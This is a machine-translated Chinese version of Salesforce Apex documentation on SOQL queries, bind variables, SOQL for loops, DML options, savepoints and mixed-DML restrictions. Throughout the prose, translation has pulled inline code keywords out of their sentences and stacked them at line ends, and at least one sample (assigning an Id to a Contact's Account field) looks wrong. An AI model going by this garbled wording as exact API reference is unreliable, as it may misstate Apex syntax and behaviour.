此外,sObject 字段键可以与 、 一起使用,也可以通过外部 ID 解析外键。为 例:insertupdateupsert

Account refAcct = new Account(externalId__c = '12345');

Contact c = new Contact(Account = refAcct, LastName = 'Kay');

insert c;

这将插入一个具有相等的新联系人,以等于的帐户 到“12345”。如果没有此类帐户,则插入失败。AccountIdexternal_id

提示

以下代码等效于上面的代码。但是,因为它使用 SOQL 查询,效率不高。如果多次调用此代码,它可以 达到最大 SOQL 查询数的执行限制。查看更多 有关执行限制的信息,请参阅执行调控器和限制。

Account refAcct = [SELECT Id FROM Account WHERE externalId__c='12345'];

Contact c = new Contact(Account = refAcct.Id);

insert c;

了解外键和父子 关系 SOQL 查询

声明 SOQL 查询可以是任何有效的 SOQL 语句,包括外键 和父子记录联接。如果包含外键联接, 生成的 sObject 可以使用正态字段表示法进行引用。 例如:SELECT

System.debug([SELECT Account.Name FROM Contact
              WHERE FirstName = 'Caroline'].Account.Name);

此外,sObject 中的父子关系充当 SOQL 查询也是如此。例如:

for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts)
                  FROM Account
                  WHERE Name = 'Acme']) {
     Contact[] cons = a.Contacts;
}

//The following example also works because we limit to only 1 contact
for (Account a : [SELECT Id, Name, (SELECT LastName FROM Contacts LIMIT 1)
                  FROM Account
                  WHERE Name = 'testAgg']) {
     Contact c = a.Contacts;
}

使用 SOQL 聚合函数

SOQL 中的聚合函数(如 和 )允许您在查询中汇总和汇总数据。 有关聚合函数的详细信息,请参阅 Salesforce SOQL 和 SOSL 中的聚合函数 参考指南。SUM()MAX()

您可以在不使用子句的情况下使用聚合函数。例如,您可以使用聚合 函数来查找所有机会的平均金额。GROUP BYAVG()

AggregateResult[] groupedResults
  = [SELECT AVG(Amount)aver FROM Opportunity];
Object avgAmount = groupedResults[0].get('aver');

请注意,任何包含聚合函数的查询都会以 AggregateResult 对象。AggregateResult 是只读 sObject,仅用于查询 结果。

当您将聚合函数与子句一起使用时,它们将成为生成报告的更强大的工具。例如,您可以按广告系列找到所有商机的平均金额。GROUP BY

AggregateResult[] groupedResults
  = [SELECT CampaignId, AVG(Amount)
      FROM Opportunity
      GROUP BY CampaignId];
for (AggregateResult ar : groupedResults)  {
    System.debug('Campaign ID' + ar.get('CampaignId'));
    System.debug('Average amount' + ar.get('expr0'));
}

列表中没有 别名会自动获取一个隐含的别名,其格式为 ,其中表示 没有显式别名的聚合字段。的值从 0 开始,并且 每个聚合字段的增量,没有显式别名。有关更多信息,请参阅在 Salesforce SOQL 和 SOSL 中将别名与 GROUP BY 结合使用 参考指南。

注意

包含聚合函数的查询仍受 查询行。除每个函数之外的所有聚合函数,或包括每个聚合函数 聚合用作查询行的行,用于限制跟踪。COUNT()COUNT(fieldname)

对于 或 查询,限制计为一个查询行,除非查询 包含一个 GROUP BY 子句,在这种情况下,每个分组使用一个查询行。COUNT()COUNT(fieldname)

使用非常大的 SOQL 查询

重要

在可能的情况下,我们更改了非包容性条款,以符合我们的 平等的公司价值观。我们保留了某些条款,以避免对客户产生任何影响 实现。

SOQL 查询有时会返回如此多的 sObject,以至于堆大小限制为 超出并发生错误。要解决此问题,请改用 SOQL 查询循环,因为它可以处理多个 使用对 和 的内部调用对记录进行批处理。forqueryqueryMore

例如,如果结果太大,则以下语法会导致运行时异常:

Account[] accts = [SELECT Id FROM Account];

请改用 SOQL 查询循环,如以下 以下示例:for

// Use this format if you are not executing DML statements 
// within the for loop
for (Account a : [SELECT Id, Name FROM Account 
                  WHERE Name LIKE 'Acme%']) {
    // Your code without DML statements here
}

// Use this format for efficiency if you are executing DML statements 
// within the for loop
for (List<Account> accts : [SELECT Id, Name FROM Account
                            WHERE Name LIKE 'Acme%']) {
    for (Account a : accts) {
    // Your code here
    }
    update accts;
}

注意

在循环中使用 SOQL 查询 降低了达到堆大小限制的可能性。但是,这种方法可以 导致 DML 调用增加,导致使用的 CPU 周期更多。有关详细信息,请参阅 SOQL For 循环与标准 SOQL 查询。for

以下示例演示了用于批量更新记录的 SOQL 查询循环。假设你想 在记录中更改其名字和姓氏的联系人的联系人的姓氏 匹配指定条件:for

public void massUpdate() {
    for (List<Contact> contacts:
      [SELECT FirstName, LastName FROM Contact]) {
        for(Contact c : contacts) {
            if (c.FirstName == 'Barbara' &&
              c.LastName == 'Gordon') {
                c.LastName = 'Wayne';
            }
        }
        update contacts;
    }
}

不是在循环中使用 SOQL 查询,而是 批量更新记录的首选方法是使用批处理 Apex,这样可以最大限度地降低达到调速器限制的风险。for

有关更多信息,请参阅 SOQL For 循环。

更高效的 SOQL 查询

为了获得最佳性能,SOQL 查询必须是有选择性的,尤其是对于内部的查询 触发器。为了避免长时间的执行,系统可以终止非选择性 SOQL 查询。当触发器中的非选择性查询时,开发人员会收到错误消息 对包含超过 100 万条记录的对象执行。为了避免这种情况 错误,请确保查询是有选择性的。选择性 SOQL 查询条件

  • 当其中一个查询筛选器位于索引上时,查询是有选择性的 字段和查询筛选器会减少生成的行数 低于系统定义的阈值。SOQL 查询的性能 改进了当 WHERE 子句中使用的两个或多个过滤器满足 提到的条件。
  • 选择性阈值为前 100 万条记录的 10%,并且 在前 100 万条记录之后,少于 5% 的记录,最多 最多 333,333 条记录。在某些情况下,例如 作为索引标准字段的查询筛选器,阈值可以 更高。此外,选择性阈值受以下因素的影响 改变。

选择性 SOQL 查询的自定义索引注意事项

  • 默认情况下,以下字段已编制索引。
    • 主键(Id、Name 和 OwnerId 字段)
    • 外键(查找或主从关系 字段)
    • 审核日期(CreatedDate 和 SystemModstamp 字段)
    • RecordType 字段(为以下所有标准对象编制索引 特色他们)
    • 标记为“外部 ID”或“唯一”的自定义字段
  • 默认情况下未编制索引的字段在以下情况下自动编制索引 Salesforce Optimizer 认识到索引可以改进 频繁运行查询的性能。
  • Salesforce 支持可以根据请求添加自定义索引 客户。
  • 无法在以下类型的字段上创建自定义索引: 多选选择列表,多币种中的货币字段 组织、长文本字段、某些公式字段和二进制文件 字段(Blob、文件或加密文本类型的字段。新数据 类型,通常是复杂的类型,会定期添加到 Salesforce, 这些类型的字段并不总是允许自定义索引。
  • 您无法在包含以下内容的公式字段上创建自定义索引 对选择列表字段的函数调用。TEXT
  • 通常,在这些情况下不使用自定义索引。
    • 查询的值超过系统定义的阈值。
    • filter 运算符为负运算符,例如 (或 )、 和 。NOT EQUAL TO!=NOT CONTAINSNOT STARTS WITH
    • 运营商 在过滤器中使用,以及要扫描的行数 超过 333,333 人。操作员需要对 指数。此阈值可能会发生变化。CONTAINSCONTAINS
    • 您正在与空值 () 进行比较。Name != ”
    但是,还有其他复杂的方案,其中自定义 不能使用索引。如果出现以下情况,请联系您的 Salesforce 代表 这些情况未涵盖你的方案,或者如果需要 对非选择性查询的进一步帮助。

选择性 SOQL 查询的示例为了更好地了解对大型对象的查询是否具有选择性, 让我们分析一些查询。对于这些查询,假设有更多 帐户 sObject 的 100 万条记录。这些记录包括 软删除的记录,即仍在回收中的已删除记录 站。查询 1:

SELECT Id FROM Account WHERE Id IN (<list of account IDs>)

该子句位于索引上 字段 (Id)。如果返回更少 记录超过选择性阈值时,则使用索引 on。该指数通常为 当 ID 列表仅包含几条记录时使用。WHERESELECT COUNT() FROM Account WHERE Id IN (<list of account IDs>)Id查询 2:

SELECT Id FROM Account WHERE Name != ''

因为 Account 是一个大对象,即使 Name 已编制索引(主键), 此筛选器返回大部分记录,进行查询 非选择性。查询 3:

SELECT Id FROM Account WHERE Name != '' AND CustomField__c = 'ValueA'

这里 我们必须看看是否有任何过滤器,当单独考虑时,是 选择性。正如我们在前面的示例中看到的,第一个筛选器不是 选择性。因此,让我们关注第二个问题。如果记录计数 返回的 by 低于 选择性阈值,CustomField__c编制索引,则查询为 选择性。SELECT COUNT() FROM Account WHERE CustomField__c = ‘ValueA’

使用返回一条记录的 SOQL 查询

当结果列表仅包含一个 sObject 值时,可以使用 SOQL 查询来分配单个 sObject 值 元素。当表达式的 L 值为单个 sObject 类型时,Apex 会自动将 查询结果列表中的单个 sObject 记录为 L 值。如果为零,则会导致运行时异常 在列表中找到 sObject 或多个 sObject。例如:

List<Account> accts = [SELECT Id FROM Account];

// These lines of code are only valid if one row is returned from
// the query. Notice that the second line dereferences the field from the
// query without assigning it to an intermediary sObject variable.
Account acct = [SELECT Id FROM Account];
String name = [SELECT Name FROM Account].Name;

通过避免 null 值来提高性能

在 SOQL 和 SOSL 查询中,显式筛选出 WHERE 子句允许 Salesforce 提高查询性能。在以下示例中, 值为 null 的任何记录都是 从 搜索。

Thread__c

Public class TagWS {

/* getThreadTags
*
* a quick method to pull tags not in the existing list
*
*/
   public static webservice List<String> 
   getThreadTags(String threadId, List<String> tags) {

      system.debug(LoggingLevel.Debug,tags);

      List<String> retVals = new List<String>();
      Set<String> tagSet = new Set<String>();
      Set<String> origTagSet = new Set<String>();
      origTagSet.addAll(tags);

// Note WHERE clause optimizes search where Thread__c is not null

      for(CSO_CaseThread_Tag__c t : 
         [SELECT Name FROM CSO_CaseThread_Tag__c 
         WHERE Thread__c = :threadId AND
         Thread__c != null]) 

      {
         tagSet.add(t.Name);
      }
      for(String x : origTagSet) { 
   // return a minus version of it so the UI knows to clear it
         if(!tagSet.contains(x)) retVals.add('-' + x);
      }
      for(String x : tagSet) { 
   // return a plus version so the UI knows it's new
         if(!origTagSet.contains(x)) retvals.add('+' + x);
      }

      return retVals;
   }
}

在 SOQL 查询中使用多态关系

多态关系是对象之间的关系,其中引用 对象可以是几种不同的类型之一。例如,任务的关系字段可以是联系人或潜在顾客。

Who

在Apex中使用具有多态关系的SOQL查询的方法如下。 如果需要有关多态关系的更多常规信息,请参阅了解关系字段和 SOQL 和 SOSL 引用中的多态字段。您可以使用引用 Apex 中的多态字段的 SOQL 查询来获取以下结果: 取决于多态字段引用的对象类型。一种方法是过滤 使用 Type 限定符的结果。此示例查询事件 通过“什么”与“帐户”或“商机”相关 田。

List<Event> events = [SELECT Description FROM Event WHERE What.Type IN ('Account', 'Opportunity')];

另一个 方法是在 SOQL 语句。此示例还查询 通过“什么”与“客户”或“商机”相关的事件 田。

TYPEOFSELECT

List<Event> events = [SELECT TYPEOF What WHEN Account THEN Phone WHEN Opportunity THEN Amount END FROM Event];

这些 查询返回 sObject 列表,其中关系字段引用所需的 对象类型。如果需要访问多态关系中的引用对象,可以使用 instanceof 关键字设置为 确定对象类型。以下示例用于确定 Account 或 Opportunity 是否与 事件。

instanceof

Event myEvent = eventFromQuery;
if (myEvent.What instanceof Account) {
    // myEvent.What references an Account, so process accordingly
} else if (myEvent.What instanceof Opportunity) {
    // myEvent.What references an Opportunity, so process accordingly
}

请注意,必须分配查询返回到的引用的 sObject 一个适当类型的变量,然后才能将其传递给另一个方法。这 以下示例

  1. 使用 SOQL 查询Merchandise__c自定义对象的用户或组所有者 使用子句进行查询TYPEOF
  2. 用于确定所有者 类型instanceof
  3. 将所有者对象分配给用户或组类型变量,然后再将其传递给 实用程序方法
public class PolymorphismExampleClass {

    // Utility method for a User
    public static void processUser(User theUser) {
        System.debug('Processed User');
    }
    
    // Utility method for a Group
    public static void processGroup(Group theGroup) {
        System.debug('Processed Group');
    }

    public static void processOwnersOfMerchandise() {
        // Select records based on the Owner polymorphic relationship field
        List<Merchandise__c> merchandiseList = [SELECT TYPEOF Owner WHEN User THEN LastName WHEN Group THEN Email END FROM Merchandise__c];	
        // We now have a list of Merchandise__c records owned by either a User or Group
        for (Merchandise__c merch: merchandiseList) {
            // We can use instanceof to check the polymorphic relationship type
            // Note that we have to assign the polymorphic reference to the appropriate
            // sObject type before passing to a method
            if (merch.Owner instanceof User) {
                User userOwner = merch.Owner;
                processUser(userOwner);
            } else if (merch.Owner instanceof Group) {
                Group groupOwner = merch.Owner;
                processGroup(groupOwner);
            }
        }
    }
}

在 SOQL 和 SOSL 查询中使用 Apex 变量

Apex 中的 SOQL 和 SOSL 语句可以引用 Apex 代码 变量和表达式(如果它们前面有冒号 ()。在 SOQL 中使用局部代码变量 或 SOSL 语句称为绑定。Apex 解析器首先评估 执行 SOQL 或 SOSL 语句之前代码上下文中的局部变量。:捆 表达式可以用作:

  • 子句中的搜索字符串。FIND
  • 子句中的筛选器文本。WHERE
  • 子句中 or 运算符的值,允许对一组动态值进行筛选。请注意, 这对于 ID 或字符串列表特别有用,尽管它适用于 任何类型。INNOT INWHERE
  • 子句中的分部名称。WITH DIVISION
  • 子句中的数值。LIMIT
  • 子句中的数值。OFFSET

例如:

Account A = new Account(Name='xxx');
insert A;
Account B;

// A simple bind
B = [SELECT Id FROM Account WHERE Id = :A.Id];

// A bind with arithmetic
B = [SELECT Id FROM Account 
     WHERE Name = :('x' + 'xx')];

String s = 'XXX';

// A bind with expressions
B = [SELECT Id FROM Account 
     WHERE Name = :'XXXX'.substring(0,3)];

// A bind with INCLUDES clause
B = [SELECT Id FROM Account WHERE :A.TYPE INCLUDES (‘Customer – Direct; Customer – Channel’)];

// A bind with an expression that is itself a query result
B = [SELECT Id FROM Account
     WHERE Name = :[SELECT Name FROM Account
                    WHERE Id = :A.Id].Name];

Contact C = new Contact(LastName='xxx', AccountId=A.Id);
insert new Contact[]{C, new Contact(LastName='yyy', 
                                    accountId=A.id)};

// Binds in both the parent and aggregate queries
B = [SELECT Id, (SELECT Id FROM Contacts
                 WHERE Id = :C.Id)
     FROM Account
     WHERE Id = :A.Id];

// One contact returned
Contact D = B.Contacts;

// A limit bind
Integer i = 1;
B = [SELECT Id FROM Account LIMIT :i];

// An OFFSET bind
Integer offsetVal = 10;
List<Account> offsetList = [SELECT Id FROM Account OFFSET :offsetVal];

// An IN-bind with an Id list. Note that a list of sObjects
// can also be used--the Ids of the objects are used for 
// the bind
Contact[] cc = [SELECT Id FROM Contact LIMIT 2];
Task[] tt = [SELECT Id FROM Task WHERE WhoId IN :cc];

// An IN-bind with a String list
String[] ss = new String[]{'a', 'b'};
Account[] aa = [SELECT Id FROM Account 
                WHERE AccountNumber IN :ss];

// A SOSL query with binds in all possible clauses

String myString1 = 'aaa';
String myString2 = 'bbb';
Integer myInt3 = 11;
String myString4 = 'ccc';
Integer myInt5 = 22;

List<List<SObject>> searchList = [FIND :myString1 IN ALL FIELDS 
                                  RETURNING 
                                     Account (Id, Name WHERE Name LIKE :myString2
                                              LIMIT :myInt3), 
                                     Contact, 
                                     Opportunity, 
                                     Lead 
                                  WITH DIVISION =:myString4 
                                  LIMIT :myInt5];

注意单位不支持 Apex 绑定变量 参数。此查询 不起作用。

DISTANCE

String units = 'mi';
List<Account> accountList = 
    [SELECT ID, Name, BillingLatitude, BillingLongitude 
     FROM Account 
     WHERE DISTANCE(My_Location_Field__c, GEOLOCATION(10,10), :units) < 10];

使用 SOQL 语句查询所有记录

SOQL 语句可以使用关键字查询组织中的所有记录,包括 已删除的记录和存档的活动。例如:

ALL ROWS

System.assertEquals(2, [SELECT COUNT() FROM Contact WHERE AccountId = a.Id ALL ROWS]);

您可以使用 组织的回收站。不能将关键字与关键字一起使用。ALL ROWSALL ROWSFOR UPDATE

SOQL For 循环

SOQL 循环遍历所有 SOQL 查询返回的 sObject 记录。

forSOQL 循环的语法是 也:

for

for (variable : [soql_query]) {
    code_block
}

for (variable_list : [soql_query]) {
    code_block
}

两者 和 必须与 sObject 的类型相同 由 返回。与标准 SOQL 查询一样,该语句可以引用 在其子句中对表达式进行编码 使用语法。为 例:

 variable variable_list soql_query[soql_query]WHERE:

String s = 'Acme';
for (Account a : [SELECT Id, Name from Account
                  where Name LIKE :(s+'%')]) {
    // Your code
}

下面的示例将 SOQL 查询创建列表与 DML 方法相结合。

update

// Create a list of account records from a SOQL query
List<Account> accs = [SELECT Id, Name FROM Account WHERE Name = 'Siebel']; 

// Loop through the list and update the Name field
for(Account a : accs){
   a.Name = 'Oracle';
}

// Update the database
update accs;

SOQL For 循环与标准 SOQL 查询

SOQL 循环不同于标准 SOQL 语句,因为它们用于检索 sObject 的方法。虽然标准 SOQL 和 SOSL 查询中讨论的查询可以检索查询或多个对象记录, SOQL 循环检索所有 sObject,使用 通过调用 SOAP API 的 和 方法进行高效分块。 开发人员可以通过使用 SOQL 循环来处理返回的查询结果,从而避免对堆大小的限制 多条记录。但是,此方法可能会导致使用更多的 CPU 周期。 请参见堆总大小。forcountforqueryqueryMorefor

包含聚合函数的查询不支持 。如果出现以下情况,则会发生运行时异常 使用包含聚合函数的查询,该聚合函数在循环中返回超过 2,000 行。queryMorefor

SOQL For 循环格式

SOQL 循环可以一次处理一个记录 时间使用单个 sObject 变量,或一次使用 sObject 列表:

for

  • 单个 sObject 格式对每个 sObject 记录执行一次循环。因此 它易于理解和使用,但如果您愿意,效率非常低下 在循环体中使用数据操作语言 (DML) 语句。每个 DML 语句结束 一次只能处理一个 sObject。for<code_block>for
  • sObject 列表格式对每个包含 200 个 sObject 的列表执行一次循环。 因此,它更难理解和使用,但 如果必须在循环体中使用 DML 语句,则为最佳选择。每个 DML 语句可以 一次批量处理 sObject 列表。for<code_block>for

For example, the following code illustrates the difference between the two types of SOQL query loops: 

for

// Create a savepoint because the data should not be committed to the database
Savepoint sp = Database.setSavepoint(); 

insert new Account[]{new Account(Name = 'yyy'), 
                     new Account(Name = 'yyy'), 
                     new Account(Name = 'yyy')};

// The single sObject format executes the for loop once per returned record
Integer i = 0;
for (Account tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
    i++;
}
System.assert(i == 3); // Since there were three accounts named 'yyy' in the
                       // database, the loop executed three times

// The sObject list format executes the for loop once per returned batch
// of records
i = 0;
Integer j;
for (Account[] tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) {
    j = tmp.size();
    i++;
}
System.assert(j == 3); // The lt should have contained the three accounts
                       // named 'yyy'
System.assert(i == 1); // Since a single batch can hold up to 200 records and,
                       // only three records should have been returned, the 
                       // loop should have executed only once

// Revert the database to the original state
Database.rollback(sp);

注意

  • 和关键字可用于两者 内联查询循环的类型 格式。使用 sObject 列表格式时,跳到下一个 sObject 列表。breakcontinueforcontinue
  • DML 语句一次最多只能处理 10,000 条记录,而 sObject 列出循环进程记录 每批 200 个。因此,如果您要插入、更新或删除 在 sObject 列表循环中,每个返回的记录都有多个记录,可能会遇到 运行时限制的错误。查看执行 调速器和限制。forfor
  • 你可能会得到一个 带有消息 的 SOQL 循环。有时会引发此异常 当访问检索到的大量子记录(200 个或更多)时 sObject,或者在获取此类记录集的大小时。为 例如,以下 SOQL 循环中的查询检索特定帐户的子联系人。如果 此帐户包含 200 多个子联系人,循环中的语句会导致异常。QueryExceptionforAggregate query has too many rows for direct assignment, use FOR loopforforfor (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts) FROM Account WHERE Id IN ('<ID value>')]) { List<Contact> contactList = acct.Contacts; // Causes an error Integer count = acct.Contacts.size(); // Causes an error }

若要避免出现此异常,请使用循环遍历子项 记录,作为 遵循。

for

for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts) 
                    FROM Account WHERE Id IN ('<ID value>')]) { 
    Integer count=0;
    for (Contact c : acct.Contacts) {
        count++;
    }
}

关于DML的更多信息

以下是您可能想了解的有关使用数据操作语言的一些事项。

  • 设置 DML 选项
  • 交易控制
  • 在 DML 操作中不能一起使用的 sObject 某些 sObject(有时称为设置对象)上的 DML 操作
    不能与同一事务中其他 sObject 上的 DML 混合使用。之所以存在此限制,是因为某些 sObject 会影响用户对组织中记录的访问。您必须在不同的事务中插入或更新这些类型的 sObject,以防止使用不正确的访问级别权限执行操作。例如,您无法在单个交易中更新帐户和用户角色。
  • 不支持 DML 操作的 sObject
  • 批量 DML 异常处理
  • 您应该了解的有关 Apex 中数据的信息

设置 DML 选项

您可以通过设置所需的选项来指定插入和更新操作的 DML 选项 在对象中。您可以通过在 sObject 上调用方法或将其作为 参数添加到 and 方法中。Database.DMLOptionsDatabase.DMLOptionssetOptionsDatabase.insertDatabase.update使用 DML 选项,您可以指定:

  • 字段的截断行为。
  • 分配规则信息。
  • 重复的规则信息。
  • 是否发送自动电子邮件。
  • 标签的用户区域设置。
  • 操作是否允许部分成功。

该类具有以下属性:

Database.DMLOptions

  • allowFieldTruncation属性
  • assignmentRuleHeader属性
  • dupicateRuleHeader
  • emailHeader属性
  • locale选项属性
  • optAllOrNone(optAllOrNone)属性

DMLOptions 仅适用于针对 API 版本 15.0 及更高版本保存的 Apex。DMLOptions(DMLOptions) 设置仅对使用 Apex DML 执行的记录操作生效,而不对通过 Salesforce 用户界面。

allowFieldTruncation属性

该属性指定 字符串的截断行为。在针对 15.0 之前的 API 版本保存的 Apex 中,如果您 为字符串指定一个值,如果该值太大,则该值将被截断。对于 API 版本 15.0 及更高版本中,如果指定的值过大,则操作将失败,并且 返回错误消息。该属性允许您指定以前的行为 截断,而不是针对 API 版本 15.0 保存的 Apex 中的新行为,以及 后。allowFieldTruncationallowFieldTruncation该属性采用 Boolean 价值。如果 ,该属性将截断 String 值太长,这是 API 版本 14.0 及更早版本中的行为。为 例:

allowFieldTruncationtrue

Database.DMLOptions dml = new Database.DMLOptions();

dml.allowFieldTruncation = true;

assignmentRuleHeader属性

该属性指定 创建案例或潜在顾客时要使用的分配规则。assignmentRuleHeader

注意

Database.DMLOptions 对象支持案例和潜在顾客的分配规则,但不支持 对于帐户。使用该属性,您可以 设置以下选项:

assignmentRuleHeader

  • assignmentRuleID:作业的 ID 案例或线索的规则。分配规则可以处于活动状态,也可以处于非活动状态。ID 可以是 通过查询 AssignmentRule sObject 进行检索。如果指定,则不要指定 。如果该值不在正确的 ID 中 格式(15 个字符或 18 个字符的 Salesforce ID),调用失败,并出现异常 返回。useDefaultRule
  • useDefaultRule:指示是否默认 (活动)分配规则将用于案例或潜在顾客。如果指定,则不指定 一。assignmentRuleId

以下示例使用该选项:

useDefaultRule

Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.useDefaultRule= true;

Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;

以下示例使用该选项:

assignmentRuleID

Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.assignmentRuleId= '01QD0000000EqAn';

Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;

注意

如果组织中没有分配规则,则在 API 中 版本 29.0 及更早版本,创建案例或潜在顾客时,设置为 分配给预定义的默认所有者的案例或潜在顾客。在 API 版本 30.0 和 稍后,案例或潜在顾客未分配,并且不会分配给默认值 所有者。useDefaultRuletrue

dupicateRuleHeader属性

该属性确定是否 可以保存标识为重复的记录。重复的规则是 重复管理功能。dupicateRuleHeader使用该属性,您可以设置 这些选项。

dupicateRuleHeader

  • allowSave:指示记录是否 标识为重复项可以保存。

以下示例演示如何保存已标识为 重复。若要了解如何循环访问重复错误,请参阅 DuplicateError 类

Database.DMLOptions dml = new Database.DMLOptions(); 
dml.DuplicateRuleHeader.AllowSave = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
	System.debug('Duplicate account has been inserted in Salesforce!');
}

emailHeader属性

Salesforce 用户界面允许您指定在以下情况下是否发送电子邮件 将发生以下事件:

  • 创建新案例或任务
  • 将案例电子邮件转换为联系人
  • 新用户电子邮件通知
  • 潜在客户队列电子邮件通知
  • 密码重置

在针对 API 版本 15.0 或更高版本保存的 Apex 中,Database.DMLOptions 属性允许您指定其他 有关由于 Apex 而发生其中一个事件时发送的电子邮件的信息 DML 代码执行。emailHeader使用该属性,可以设置这些选项。

emailHeader

  • triggerAutoResponseEmail:指示是否 触发自动响应规则 () 或不触发 (),用于线索和案例。这封电子邮件可以 由许多事件自动触发,例如在创建案例或 重置用户密码。如果此值设置为 ,则在创建案例时,如果存在联系人的电子邮件地址 在 ContactID 中指定,电子邮件将发送到该地址。如果没有, 电子邮件将发送到 SuppliedEmail 中指定的地址。truefalsetrue
  • triggerOtherEmail:指示是否 触发组织外部的电子邮件 () 或不 ()。这封邮件可以自动 由创建、编辑或删除案例的联系人触发。truefalse
  • triggerUserEmail:指示是否 触发发送给组织中用户的电子邮件 () 或不发送给 ()。这封电子邮件 可由多个事件自动触发;重置密码,创建一个 新用户,或创建或 修改任务。truefalse注意添加注释 Apex 中的案例不会触发向组织中的用户发送电子邮件,即使设置为 。triggerUserEmailtrue

即使自动发送的电子邮件可以由 Salesforce 用户界面,的 DMLOptions 设置仅对在 Apex 代码中执行的 DML 操作生效。emailHeader在以下示例中,选项是 指定:

triggerAutoResponseEmail

Account a = new Account(name='Acme Plumbing');

insert a;

Contact c = new Contact(email='jplumber@salesforce.com', firstname='Joe',lastname='Plumber', accountid=a.id);

insert c;

Database.DMLOptions dlo = new Database.DMLOptions();

dlo.EmailHeader.triggerAutoResponseEmail = true;

Case ca = new Case(subject='Plumbing Problems', contactid=c.id);

database.insert(ca, dlo);

由于群组事件而通过 Apex 发送的电子邮件包含其他行为。组事件是 IsGroupEvent 为 true 的事件。 EventAttendee 对象跟踪受邀加入组的用户、潜在顾客或联系人 事件。请注意通过 Apex 发送的群组活动电子邮件的以下行为:

  • 向用户发送群组活动邀请时,该选项将遵循该选项triggerUserEmail
  • 向潜在顾客或联系人发送群组活动邀请时,该选项将遵循该选项triggerOtherEmail
  • 更新或删除群组活动时发送的电子邮件也会根据需要遵循 和 选项triggerUserEmailtriggerOtherEmail

locale选项属性

该属性指定语言 Apex 返回的任何标签。该值必须是有效的用户区域设置(language 和 国家/地区),例如 de_DE 或 en_GB。该值为 String,长度为 2-5 个字符。前两个 字符始终是 ISO 语言代码,例如“fr”或“en”。如果值为 进一步由一个国家/地区限定,则该字符串还具有下划线 (_) 和另一个 ISO 国家/地区代码,例如“US”或“UK”。例如,美国的字符串是 “en_US”,而加拿大法语的字符串是“fr_CA”。localeOptions

optAllOrNone(optAllOrNone)属性

该属性指定 操作允许部分成功。如果设置为 ,则所有更改 如果任何记录导致错误,则回滚。此属性的默认值是,成功处理的记录已提交 而有错误的记录则没有。此属性在保存的 Apex 中可用 Salesforce API 版本 20.0 及更高版本。optAllOrNoneoptAllOrNonetruefalse

交易控制

所有请求都由触发器、类方法、Web 分隔 执行 Apex 代码的服务、Visualforce 页面或匿名块。如果整个请求 成功完成,所有更改都将提交到数据库。例如,假设一个 Visualforce 页面调用了 Apex 控制器,而 Apex 控制器又调用了额外的 Apex 类。只 当所有 Apex 代码都完成运行并且 Visualforce 页面完成运行时,是 提交到数据库的更改。如果请求未成功完成,则所有 数据库更改将回滚。

有时,在处理记录期间,您的业务规则需要 部分工作(已执行的 DML 语句)被“回滚”,以便处理可以 继续朝另一个方向前进。Apex 使您能够生成保存点, 也就是说,请求中指定数据库当时状态的点。任何 DML 可以放弃保存点之后发生的语句,并且可以将数据库还原到 与生成保存点时所处的状态相同。

以下限制适用于生成保存点变量和回滚 数据库:

  • 如果设置了多个保存点,则回滚到不是最后一个保存点 SavePoint 时,后面的 SavePoint 变量将失效。例如,如果你 先生成保存点,然后生成保存点,然后回滚到 ,该变量将不再有效。如果您尝试使用它,您将收到运行时错误。SP1SP2SP1SP2
  • 对保存点的引用不能交叉触发器调用,因为每个触发器调用都是 新的触发器上下文。如果将保存点声明为静态变量,则尝试在 触发上下文时,您将收到运行时错误。
  • 您设置的每个保存点都计入 DML 语句的调控器限制。
  • 静态变量在回滚期间不会还原。如果您尝试再次运行触发器,则 静态变量保留第一次运行的值。
  • 每次回滚都计入 DML 语句的调控器限制。您将收到一个 运行时错误,如果尝试回滚数据库的次数更多。
  • 设置保存点后插入的 sObject 上的 ID 未清除 回滚后。创建一个要在回滚后插入的 sObject。尝试插入 sObject 使用在回滚之前创建的变量失败,因为 sObject 变量具有 使用相同的变量更新或更新插入 sObject 也会失败,因为 sObject 不在数据库中,因此无法更新。

下面是使用 和 Database 方法的示例。setSavepointrollback

Account a = new Account(Name = 'xxx'); insert a;
System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
                           AccountNumber);

// Create a savepoint while AccountNumber is null
Savepoint sp = Database.setSavepoint();

// Change the account number
a.AccountNumber = '123';
update a;
System.assertEquals('123', [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
                             AccountNumber);

// Rollback to the previous null value
Database.rollback(sp);
System.assertEquals(null, [SELECT AccountNumber FROM Account WHERE Id = :a.Id].
                            AccountNumber);

在 DML 操作中不能一起使用的 sObject

对某些 sObject(有时称为设置对象)的 DML 操作, 不能在同一事务中与其他 sObject 上的 DML 混合使用。此限制 之所以存在,是因为某些 sObject 会影响用户对组织中记录的访问。您必须 在不同的事务中插入或更新这些类型的 sObject 以防止操作 从不正确的访问级别权限发生。例如,您无法更新 单个事务中的帐户和用户角色。执行 DML 操作时,不能将以下 sObject 与其他 sObject 一起使用 在同一笔交易中。

  • 身份验证会话
  • 字段权限
  • 预测分享
  • 群您只能在事务中插入和更新组,并与其他组 s对象。不允许其他 DML 操作。
  • 集团成员注意使用 Salesforce API 版本 14.0 保存旧版 Apex 代码 更早版本,您可以在 相同的交易。
  • 对象权限
  • ObjectTerritory2AssignmentRule
  • ObjectTerritory2AssignmentRuleItem
  • 权限集
  • 权限集分配
  • QueueSObject (英语)
  • 规则区域 2 协会
  • SetupEntityAccess
  • 领土
  • 地区2
  • Territory2Model(区域2模型)
